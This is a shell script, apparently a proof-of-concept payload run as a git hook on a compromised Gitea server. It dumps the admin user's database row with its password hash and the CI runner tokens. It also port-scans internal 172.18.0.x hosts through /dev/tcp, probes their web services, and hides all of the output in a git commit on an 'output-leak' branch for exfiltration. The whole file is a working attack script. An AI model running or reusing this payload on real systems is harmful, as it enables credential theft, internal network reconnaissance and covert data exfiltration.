#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$( { S=/data/gitea/tmp/gd.sql echo "---HOSTS---"; cat /etc/hosts; echo ...; cat /etc/resolv.conf which bash nc wget 2>/dev/null echo "---TABLECOUNTS---"; grep -o 'INSERT INTO "[^"]*"' $S | sort | uniq -c | awk '{gsub(/"/,"",$2); gsub(/INSERT/,"",$2); print $1, $2}' | sort -rn | head -100 echo "---RUNNERTOK---"; grep 'INSERT INTO "action_runner_token"' $S | cut -c1-600 echo "---ARTIFACTS---"; du -sh /data/gitea/actions_artifacts /data/gitea/actions_log 2>/dev/null; find /data/gitea/actions_artifacts -maxdepth 2 2>/dev/null | head -10 echo "---ADMINROW---"; grep 'INSERT INTO "user"' $S | grep -F ",'admin'," > /tmp/i19adminrow.txt; wc -c /tmp/i19adminrow.txt; cat /tmp/i19adminrow.txt | cut -c1-2000 echo echo "---HASHCOUNT---"; q=$(cat /tmp/i19adminrow.txt | grep -o "'[^']*'"); echo "quotedcount=$(echo "$q" | wc -l)"; echo "$q" | nl | head -25 echo "---PORTS---" if command -v bash >/dev/null 2>&1; then bash -c 'for i in 1 2 3 4 5 6 7 8 9 10; do for p in 22 80 443 3000 3001 5432 6379 8080 9000 4101 9090; do (echo >/dev/tcp/172.18.0.$i/$p) >/dev/null 2>&1 && echo "172.18.0.$i:$p OPEN"; done; done'; else echo NO_BASH; fi echo "---TITLES---" for u in http://172.18.0.1/ http://172.18.0.2:3000/ http://172.18.0.4/ http://172.18.0.4:80/ https://172.18.0.1/ https://172.18.0.2:3000/ https://172.18.0.4/; do echo "== $u"; curl -sk -m 3 -D - -o /tmp/i19body "$u" 2>&1 | head -8; head -c 250 /tmp/i19body 2>/dev/null | tr '\n' ' '; echo; done echo "---HOSTHEADERS---" curl -s -m 3 -o /dev/null -w "host4_www:%{http_code} redirect:%{redirect_url}\n" -H 'Host: localhost' http://172.18.0.4/ 2>/dev/null curl -s -m 3 -o /dev/null -w "host1_www:%{http_code} redirect:%{redirect_url}\n" http://172.18.0.1/ 2>/dev/null echo DONE } 2>&1; echo "[rc=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"